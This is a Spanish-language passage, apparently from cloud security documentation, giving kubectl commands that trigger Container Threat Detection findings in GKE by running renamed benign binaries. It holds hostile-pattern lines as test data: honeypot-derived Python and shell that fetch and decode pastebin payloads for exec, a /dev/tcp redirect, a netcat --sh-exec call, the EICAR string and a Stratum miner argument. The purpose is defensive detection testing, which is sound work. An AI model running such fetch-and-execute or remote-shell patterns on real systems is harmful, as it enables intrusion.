   "$tag" -- bash -c \
      "cp /bin/ls /tmp/nginx; /tmp/nginx /proc/1/fd/1"

Nodo de ARM:

tag="ktd-test-ingress-nightmare-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
   {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
   "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
   "value": "arm64" } ]}}' \
   "$tag" -- bash -c \
      "cp /bin/ls /tmp/nginx; /tmp/nginx /proc/1/fd/1"

Este procedimiento de prueba crea un hallazgo de ejecución: vulnerabilidad de Ingress Nightmare que puedes ver en Security Command Center y en Cloud Logging si configuraste Logging para Container Threat Detection. La visualización de los hallazgos en Cloud Logging solo está disponible si activas el nivel Premium o Enterprise de Security Command Center.

Ejecución: Ejecución de la herramienta de ataque de Kubernetes

Para activar un resultado de Ejecución: Ejecución de la herramienta de ataque de Kubernetes, coloca un objeto binario en tu contenedor y ejecútalo. En este ejemplo, se implementa la última imagen de Ubuntu 24.04, se copia /bin/ls a otra ubicación, se le cambia el nombre a una herramienta sospechosa (amicontained) y se ejecuta. Esta acción se considera sospechosa porque simula un comportamiento coherente con un posible intento de ejecución de una herramienta de ataque de Kubernetes.

Configura las variables de entorno.

Usa Cloud Shell para acceder al plano de control del clúster:

gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

Suelta un objeto binario de la herramienta Kubernetes Attack, como amicontained, y ejecútalo:

Nodo x86:

tag="ktd-test-kubernetes-attack-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   "$tag" -- bash -c \
      "cp /bin/ls /tmp/amicontained; /tmp/amicontained"

Nodo de ARM:

tag="ktd-test-kubernetes-attack-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
   {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
   "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
   "value": "arm64" } ]}}' \
   "$tag" -- bash -c \
      "cp /bin/ls /tmp/amicontained; /tmp/amicontained"

Este procedimiento de prueba debería crear un hallazgo de Execution: Kubernetes Attack Tool Execution que puedes ver en Security Command Center y en Cloud Logging si configuraste Logging para Container Threat Detection. La visualización de los resultados en Cloud Logging solo está disponible si activas el nivel Premium o Enterprise de Security Command Center.

Ejecución: Ejecución de la herramienta de reconocimiento local

Para activar un resultado de Execution: Local Reconnaissance Tool Execution, coloca un objeto binario en tu contenedor y ejecútalo. En este ejemplo, se implementa la última imagen de Ubuntu 24.04, se copia /bin/ls a otra ubicación, se le cambia el nombre a una herramienta sospechosa (linenum.sh) y se ejecuta. Esta acción se considera sospechosa porque la ejecución del archivo binario renombrado simula un comportamiento coherente con un intento de reconocimiento local.

Configura las variables de entorno.

Usa Cloud Shell para acceder al plano de control del clúster:

gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

Introduce un objeto binario de la herramienta de reconocimiento local, como linenum.sh, y ejecútalo:

Nodo x86:

tag="ktd-test-local-reconn-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   "$tag" -- bash -c \
      "cp /bin/ls /tmp/linenum.sh; /tmp/linenum.sh"

Nodo de ARM:

tag="ktd-test-local-reconn-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
   {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
   "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
   "value": "arm64" } ]}}' \
   "$tag" -- bash -c \
      "cp /bin/ls /tmp/linenum.sh; /tmp/linenum.sh"

En este procedimiento de prueba, se debería crear un hallazgo de ejecución: herramienta de reconocimiento local que puedes ver en Security Command Center y en Cloud Logging si configuraste Logging para Container Threat Detection. Solo puedes ver los hallazgos en Cloud Logging si activas el nivel Premium o Enterprise de Security Command Center.

Ejecución: Se ejecutó un código malicioso de Python

Para activar el resultado Ejecución: Se ejecutó código Python malicioso, puedes ejecutar Python en el siguiente procedimiento en tu contenedor.

El procedimiento implementa la imagen de Python más reciente, copia el código de Python que parece malicioso y, luego, lo ejecuta. Para activar una detección, el código de Python debe parecer malicioso para el detector.

Configura las variables de entorno.

Usa Cloud Shell para acceder al plano de control del clúster:

gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

Ejecuta la siguiente secuencia de comandos en un contenedor nuevo.

Este código de Python se originó en un honeypot. Sin embargo, se modificó para que no ejecute el objeto binario malicioso. La ejecución de la secuencia de comandos no generará actividad maliciosa en tu contenedor. El archivo binario en la URL a la que se hace referencia no existe, y si se intenta seguir la URL, se produce un error 404. Esta situación es esperable. La intención de descargar, decodificar y ejecutar un archivo binario con una secuencia de comandos intercalada es lo que activa la detección.

Nodo x86:

tag="ktd-test-malicious-python-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true  -i \
   --image marketplace.gcr.io/google/python:latest \
   "$tag" -- python -c "import urllib
import base64
import os

url = 'https://pastebin.com/raw/Z'
page = base64.b64decode(urllib.urlopen(url).read())
page = ''
f = os.popen(str(page))
url = 'https://pastebin.com/raw/Z'
d = 'https://pastebin.com/raw/Z'
page = base64.b64decode(urllib.urlopen(url).read())
page = ''
exec(page)"

Nodo de ARM:

tag="ktd-test-malicious-python-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true  -i \
   --image python:3-buster \
   --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
   {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
   "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
   "value": "arm64" } ]}}' \
   "$tag" -- python -c "import urllib
import base64
import os

url = 'https://pastebin.com/raw/Z'
page = base64.b64decode(urllib.urlopen(url).read())
page = ''
f = os.popen(str(page))
url = 'https://pastebin.com/raw/Z'
d = 'https://pastebin.com/raw/Z'
page = base64.b64decode(urllib.urlopen(url).read())
page = ''
exec(page)"

Este procedimiento de prueba crea un hallazgo de Ejecución: Se ejecutó Python malicioso que puedes ver en Security Command Center y en Cloud Logging si configuraste el registro para la detección de amenazas a contenedores. La visualización de los resultados en Cloud Logging solo está disponible si activas el nivel Premium o Enterprise de Security Command Center.

Ejecución: Se ejecutó un objeto binario malicioso modificado

Para activar un resultado de Ejecución: Se ejecutó un objeto binario malicioso modificado, modifica un objeto binario malicioso en tu contenedor y ejecútalo. En este ejemplo, se implementa la imagen más reciente de Ubuntu 24.04, se modifica /bin/ls a un archivo malicioso de prueba EICAR y, luego, se ejecuta. La ejecución del objeto binario es inesperada porque el /bin/ls creado se modifica durante el tiempo de ejecución del contenedor como un objeto binario malicioso de prueba de EICAR, y el objeto binario de EICAR es un archivo malicioso conocido según la inteligencia sobre amenazas.

Configura las variables de entorno.

Usa Cloud Shell para acceder al plano de control del clúster:

gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

Suelta el objeto binario de EICAR y ejecútalo:

Nodo x86:

tag="ktd-test-modified-malicious-binary-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
eicar='X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*'
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   "$tag" -- sh -c "echo -n '$eicar' > /bin/ls; /bin/ls; sleep 10"

Nodo de ARM:

tag="ktd-test-modified-malicious-binary-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
eicar='X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*'
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
   {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
   "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
   "value": "arm64" } ]}}' \
   "$tag" -- sh -c "echo -n '$eicar' > /bin/ls; /bin/ls; sleep 10"

En este procedimiento de prueba, se debería crear un hallazgo de Ejecución: Se ejecutó un objeto binario malicioso modificado que puedes ver en Security Command Center y en Cloud Logging si configuraste Logging para Container Threat Detection. La visualización de hallazgos en Cloud Logging solo está disponible si activas el nivel Premium o Enterprise de Security Command Center.

Para reducir el ruido, cuando creas un contenedor por primera vez, Container Threat Detection filtra temporalmente los resultados de Ejecución: Se ejecutó un objeto binario malicioso modificado. Para ver todos los resultados de Ejecución: Se ejecutó un binario malicioso modificado mientras se configura un contenedor, antepón ktd-test al nombre del contenedor o del pod, como en el ejemplo.

Ejecución: Ejecución remota de código de Netcat en un contenedor

Para activar un evento Execution: Netcat Remote Code Execution In Container, debe haber un archivo binario capaz de comunicarse con la red (como netcat o una copia renombrada de otra utilidad) y ejecutarse dentro del contenedor. En este ejemplo, se implementa la imagen más reciente de Ubuntu 24.04 como base. Copia el archivo binario /bin/ls y le cambia el nombre a netcat (una utilidad de red). Luego, se ejecuta este archivo binario renombrado con argumentos adecuados para la interacción de red. Esta actividad se marca como sospechosa porque imita el comportamiento que se observa a menudo durante los intentos reales de ejecución remota de código en entornos contenerizados.

Configura las variables de entorno.

Usa Cloud Shell para acceder al plano de control del clúster:

gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

Introduce un archivo binario de la herramienta de comunicación de red, como netcat, y ejecútalo con los argumentos adecuados:

Nodo x86:

tag="ktd-test-netcat-remote-code-exec-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   "$tag" -- bash -c \
      "cp /bin/ls /tmp/netcat; /tmp/netcat --sh-exec"

Nodo de ARM:

tag="ktd-test-netcat-remote-code-exec-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
   {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
   "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
   "value": "arm64" } ]}}' \
   "$tag" -- bash -c \
      "cp /bin/ls /tmp/netcat; /tmp/netcat --sh-exec"

Este procedimiento de prueba debería crear un hallazgo de Execution: Netcat Remote Code Execution In Container que puedes ver en Security Command Center y en Cloud Logging si configuraste Logging para Container Threat Detection. Solo puedes ver los hallazgos en Cloud Logging si activas el nivel Premium o Enterprise de Security Command Center.

Ejecución: Se detectó una posible ejecución remota de comandos

Para activar un hallazgo de Execution: Possible Remote Command Execution Detected (vista previa), se debe observar la ejecución de un comando o un archivo binario comúnmente asociado con la ejecución de comandos remotos dentro de un contenedor. En este ejemplo, se usa la imagen más reciente de Ubuntu 24.04. Copia /bin/ls y le cambia el nombre a touch (o a otra herramienta como find). Luego, se ejecuta este archivo binario renombrado con argumentos adecuados para la ejecución de comandos remotos. Este comportamiento se marca como sospechoso porque puede indicar un intento de establecer acceso remoto no autorizado al contenedor o desde él.

Configura las variables de entorno.

Usa Cloud Shell para acceder al plano de control del clúster:

gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

Ejecuta un objeto binario como touch con los argumentos adecuados:

Nodo x86:

tag="ktd-test-remote-cmd-exec-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   "$tag" -- bash -c \
      "cp /bin/ls /tmp/touch; echo "Hello" | /tmp/touch >& /dev/tcp/8.8.8.8/53"

Nodo de ARM:

tag="ktd-test-remote-cmd-exec-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
   {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
   "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
   "value": "arm64" } ]}}' \
   "$tag" -- bash -c \
      "cp /bin/ls /tmp/touch; echo "Hello" | /tmp/touch -o /tmp/touch.o"

Este procedimiento de prueba crea un hallazgo de Execution: Possible Remote Command Execution Detected que puedes ver en Security Command Center y en Cloud Logging si configuraste Logging para Container Threat Detection. Solo puedes ver los hallazgos en Cloud Logging si activas el nivel Premium o Enterprise de Security Command Center.

Ejecución: Ejecución del programa con entorno de proxy HTTP no permitido

Para activar un resultado de Execution: Program Run with Disallowed HTTP Proxy Env, ejecuta un programa dentro de un contenedor y configura una variable de entorno de proxy HTTP en un valor no permitido. En este ejemplo, se usa la imagen más reciente de Ubuntu 24.04. La utilidad /bin/ls se copia y se le cambia el nombre a /tmp/curl. Luego, este objeto binario renombrado se ejecuta con un valor no permitido establecido para una variable de entorno de proxy HTTP (por ejemplo, HTTP_PROXY, http_proxy). La combinación de la ejecución del programa y la presencia de un entorno de proxy HTTP no permitido se marca como sospechosa, ya que sugiere un intento de comunicarse a través de un proxy no autorizado.

Configura las variables de entorno.

Usa Cloud Shell para acceder al plano de control del clúster:

gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

Ejecuta un objeto binario compatible con la red, como curl, y ejecútalo con una variable de entorno de proxy HTTP no permitida:

Nodo x86:

tag="ktd-test-program-with-http-proxy-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   "$tag" -- bash -c \
      "cp /bin/ls /tmp/curl; HTTP_PROXY=127.0.0.1:8080 /tmp/curl"

Nodo de ARM:

tag="ktd-test-program-with-http-proxy-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
   {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
   "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
   "value": "arm64" } ]}}' \
   "$tag" -- bash -c \
      "cp /bin/ls /tmp/curl; HTTP_PROXY=127.0.0.1:8080 /tmp/curl"

Este procedimiento de prueba debería crear un hallazgo de Execution: Program Run with Disallowed HTTP Proxy Env que puedes ver en Security Command Center y en Cloud Logging si configuraste Logging para Container Threat Detection. Solo puedes ver los hallazgos en Cloud Logging si activas el nivel Premium o Enterprise de Security Command Center.

Ejecución: Se cargó un objeto compartido de OpenSSL sospechoso

Para activar un hallazgo de Execution: Suspicious OpenSSL Shared Object Loaded, ejecuta el comando openssl engine con un argumento que sea un archivo que termine con la extensión .so. En este ejemplo, se usa la imagen más reciente de Ubuntu 24.04. La utilidad /bin/ls se copia y se le cambia el nombre a /tmp/openssl. Luego, este archivo binario renombrado se ejecuta con los argumentos de archivo engine y .so falsos. La ejecución de openssl engine con un archivo .so se marca como sospechosa porque imita el comportamiento de un objeto compartido que se carga para ejecutar código malicioso.

Configura las variables de entorno.

Usa Cloud Shell para acceder al plano de control del clúster:

gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

Ejecuta un objeto binario compatible con la red, como curl, y ejecútalo con una variable de entorno de proxy HTTP no permitida:

Nodo x86:

tag="ktd-test-program-with-http-proxy-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   "$tag" -- bash -c \
      "cp /bin/ls /tmp/openssl; openssl engine /tmp/fakelib.so"

Nodo de ARM:

tag="ktd-test-program-with-http-proxy-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
   {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
   "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
   "value": "arm64" } ]}}' \
   "$tag" -- bash -c \
      "cp /bin/ls /tmp/openssl; openssl engine /tmp/fakelib.so"

Este procedimiento de prueba debería crear un hallazgo de Execution: Suspicious OpenSSL Shared Object Loaded que puedes ver en Security Command Center y en Cloud Logging si configuraste Logging para Container Threat Detection. Solo puedes ver los hallazgos en Cloud Logging si activas el nivel Premium o Enterprise de Security Command Center.

Exfiltración: Iniciar las herramientas de copia remota de archivos en el contenedor

Para activar un resultado de Exfiltration: Launch Remote File Copy Tools In Container, ejecuta una herramienta común de copia remota de archivos dentro de un contenedor. En este ejemplo, se usa la imagen más reciente de Ubuntu 24.04. La utilidad /bin/ls se copia y se cambia su nombre a /tmp/rsync, y, luego, se ejecuta para recuperar un archivo de una fuente remota potencialmente maliciosa. La ejecución de una herramienta de este tipo con argumentos de recuperación de archivos remotos dentro de un contenedor se marca como sospechosa, ya que podría indicar un intento de descargar y ejecutar código malicioso o filtrar datos.

Configura las variables de entorno.

Usa Cloud Shell para acceder al plano de control del clúster:

gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

Ejecuta una herramienta de copia de archivos remota, como rsync, y ejecútala:

Nodo x86:

tag="ktd-test-launch-remote-file-copy-tools-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   "$tag" -- bash -c \
      "cp /bin/ls /tmp/rsync; /tmp/rsync"

Nodo de ARM:

tag="ktd-test-launch-remote-file-copy-tools-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
   {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
   "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
   "value": "arm64" } ]}}' \
   "$tag" -- bash -c \
      "cp /bin/ls /tmp/rsync; /tmp/rsync"

Este procedimiento de prueba debería crear un hallazgo de Exfiltration: Launch Remote File Copy Tools In Container que puedes ver en Security Command Center y en Cloud Logging si configuraste Logging para Container Threat Detection. Solo puedes ver los hallazgos en Cloud Logging si activas el nivel Premium o Enterprise de Security Command Center.

Impacto: Detect Malicious Cmdlines

Para activar un hallazgo de Impact: Detect Malicious Cmdlines (Vista previa), se debe observar la ejecución de una línea de comandos con patrones o argumentos maliciosos conocidos dentro de un contenedor. En este ejemplo, se usa la imagen más reciente de Ubuntu 24.04. Implica copiar el archivo binario /bin/ls y cambiar el nombre de esa copia a ipfs. Luego, se ejecuta el objeto binario renombrado. Este comportamiento se marca como sospechoso porque puede indicar un intento de ejecutar código malicioso o eludir los controles de seguridad.

Configura las variables de entorno.

Usa Cloud Shell para acceder al plano de control del clúster:

gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

Ejecuta un objeto binario como ipfs:

Nodo x86:

tag="ktd-test-detect-malicious-cmdlines-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   "$tag" -- bash -c \
      "cp /bin/ls /tmp/ipfs; /tmp/ipfs"

Nodo de ARM:

tag="ktd-test-detect-malicious-cmdlines-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
   {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
   "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
   "value": "arm64" } ]}}' \
   "$tag" -- bash -c \
      "cp /bin/ls /tmp/ipfs; /tmp/ipfs"

Este procedimiento de prueba crea un hallazgo de Impact: Detect Malicious Cmdlines que puedes ver en Security Command Center y en Cloud Logging si configuraste Logging para Container Threat Detection. La visualización de los resultados en Cloud Logging solo está disponible si activas el nivel Premium o Enterprise de Security Command Center.

Impacto: Quitar datos masivos del disco

Para activar un resultado de Impact: Remove Bulk Data From Disk, coloca un archivo binario capaz de borrar o sobrescribir datos en tu contenedor y ejecútalo. En este ejemplo, se usa la imagen más reciente de Ubuntu 24.04. Esto implica copiar el archivo binario /bin/ls y cambiar el nombre de esa copia a shred (o una utilidad similar diseñada para borrar archivos de forma segura). Luego, se ejecuta el objeto binario con el nuevo nombre. Esta acción se marca como sospechosa porque imita el comportamiento que se observa a menudo cuando se intenta quitar grandes cantidades de datos de un disco en un entorno contenedorizado.

Configura las variables de entorno.

Usa Cloud Shell para acceder al plano de control del clúster:

gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

Introduce un objeto binario de eliminación de archivos o datos, como shred, y ejecútalo:

Nodo x86:

tag="ktd-test-remove-bulk-data-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   "$tag" -- bash -c \
      "cp /bin/ls /tmp/shred; /tmp/shred"

Nodo de ARM:

tag="ktd-test-remove-bulk-data-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
   {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
   "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
   "value": "arm64" } ]}}' \
   "$tag" -- bash -c \
      "cp /bin/ls /tmp/shred; /tmp/shred"

Este procedimiento de prueba debería crear un hallazgo de Impact: Remove Bulk Data From Disk que puedes ver en Security Command Center y en Cloud Logging si configuraste Logging para Container Threat Detection. La visualización de los resultados en Cloud Logging solo está disponible si activas el nivel Premium o Enterprise de Security Command Center.

Impacto: Actividad de minería de criptomonedas sospechosa con el protocolo Stratum

Para activar un hallazgo de Impact: Suspicious crypto mining activity using the Stratum Protocol, se debe ejecutar un archivo binario dentro de un contenedor con argumentos similares a los que usa el software de minería de criptomonedas que se comunica con el protocolo Stratum. En el ejemplo, se usa la última imagen de Ubuntu 24.04. Copia /bin/ls y cambia el nombre de esa copia a un archivo binario simulado (presumiblemente para simular un minero de criptomonedas). Luego, este ejecutable renombrado se ejecuta con argumentos que incluyen stratum+tcp o indicadores similares del protocolo Stratum. Esta actividad se marca como sospechosa porque imita los patrones de comunicación de red del software de minería de criptomonedas en entornos contenerizados.

Configura las variables de entorno.

Usa Cloud Shell para acceder al plano de control del clúster:

gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

Introduce un archivo binario de utilidad como curl y ejecútalo con argumentos que se parezcan a los que usa el software de minería de criptomonedas que se comunica con el protocolo Stratum:

Nodo x86:

tag="ktd-test-detect-crypto-miners-using-stratum-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   "$tag" -- bash -c \
      "cp /bin/ls /tmp/curl; /tmp/curl --url=stratum+tcp"

Nodo de ARM:

tag="ktd-test-detect-crypto-miners-using-stratum-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
   {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
   "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
   "value": "arm64" } ]}}' \
   "$tag" -- bash -c \
      "cp /bin/ls /tmp/curl; /tmp/curl --url=stratum+tcp"

Este procedimiento de prueba debería crear un hallazgo de Impact: Suspicious crypto mining activity using the Stratum Protocol que puedes ver en Security Command Center y en Cloud Logging si configuraste Logging para Container Threat Detection. Solo puedes ver los hallazgos en Cloud Logging si activas el nivel Premium o Enterprise de Security Command Center.

También es posible que veas un hallazgo adicional para el comando bash que ejecutas en esta prueba. Este comportamiento es normal y puedes ignorar el hallazgo adicional.

Secuencia de comandos maliciosa ejecutada

Para activar el resultado "Secuencia de comandos maliciosa ejecutada", puedes ejecutar la secuencia de comandos del siguiente procedimiento en tu contenedor.

El procedimiento implementa la última imagen de Ubuntu 24.04, copia una secuencia de comandos que parece maliciosa y, luego, la ejecuta. Para activar una detección, una secuencia de comandos debe parecer maliciosa para el detector.

Configura las variables de entorno.

Usa Cloud Shell para acceder al plano de control del clúster:

gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

Ejecuta la siguiente secuencia de comandos en un contenedor nuevo.

Esta secuencia de comandos de Bourne shell intercalada se originó en un honeypot. Sin embargo, se modificó para que no ejecute el archivo binario malicioso, por lo que ejecutar la secuencia de comandos no provocará actividad maliciosa en tu contenedor. Es posible que se haya quitado el archivo binario de la URL a la que se hace referencia, y si intentas seguir la URL, se producirá un error 404. Esta situación es esperable. La intención de descargar, decodificar y ejecutar un archivo binario con una secuencia de comandos intercalada es lo que activa la detección.

Nodo x86:

tag="ktd-test-malicious-script-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true  -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   "$tag" -- sh -c \
      "(curl -fsSL https://pastebin.com/raw/KGwfArMR||wget -q -O - https://pastebin.com/raw/KGwfArMR)| base64 -d"

Nodo de ARM:

tag="ktd-test-malicious-script-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true  -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
   {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
   "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
   "value": "arm64" } ]}}' \
   "$tag" -- sh -c \
      "(curl -fsSL https://pastebin.com/raw/KGwfArMR||wget -q -O - https://pastebin.com/raw/KGwfArMR)| base64 -d"

Este procedimiento de prueba crea un resultado ejecutado de secuencias de comandos maliciosas que puedes ver en Security Command Center y en Cloud Logging si configuraste el registro para Container Threat Detection. La visualización de los resultados en Cloud Logging solo está disponible si activas el nivel Premium o Enterprise de Security Command Center.

Se detectó una URL maliciosa

Para activar el resultado "Se detectó una URL maliciosa", ejecuta un archivo binario y proporciona una URL maliciosa como argumento.

En el siguiente ejemplo, se implementa una imagen de Ubuntu 24.04 y se ejecuta /bin/curl para acceder a una URL de software malicioso de muestra desde el servicio de Navegación Segura.

Configura las variables de entorno.

Usa Cloud Shell para acceder al plano de control del clúster:

gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

Ejecuta curl y proporciona una URL maliciosa como argumento:

Nodo x86:

tag="ktd-test-malicious-url-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
url="https://testsafebrowsing.appspot.com/s/malware.html"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   "$tag" -- sh -c "apt update; apt --yes install curl; curl $url | cat"

Nodo de ARM:

tag="ktd-test-malicious-url-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
url="https://testsafebrowsing.appspot.com/s/malware.html"
kubectl run \
      --restart=Never \
      --rm=true -i \
      --image marketplace.gcr.io/google/ubuntu2404:latest \
      --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
      {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
      "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
      "value": "arm64" } ]}}' \
      "$tag" -- sh -c "apt update; apt --yes install curl; curl $url | cat"

Este procedimiento de prueba activa un hallazgo de URL maliciosa observada que puedes ver en Security Command Center y, si configuraste Logging para Container Threat Detection, en Cloud Logging. La visualización de hallazgos en Cloud Logging solo está disponible si activas el nivel Premium o Enterprise de Security Command Center a nivel de la organización.

Elevación de privilegios: Ejecución sin archivos en `/dev/shm`

Para activar un hallazgo de Privilege Escalation: Fileless Execution in /dev/shm, se debe ejecutar un proceso desde el sistema de archivos en la memoria /dev/shm. En este ejemplo, se usa la imagen más reciente de Ubuntu 24.04. La utilidad /bin/echo se copia en /dev/shm/echo. Luego, se ejecuta este objeto binario renombrado. La ejecución de un archivo en /dev/shm se marca como sospechosa porque imita el comportamiento de un objeto que intenta ejecutarse en la memoria para evitar las detecciones basadas en archivos.

Configura las variables de entorno.

Usa Cloud Shell para acceder al plano de control del clúster:

gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

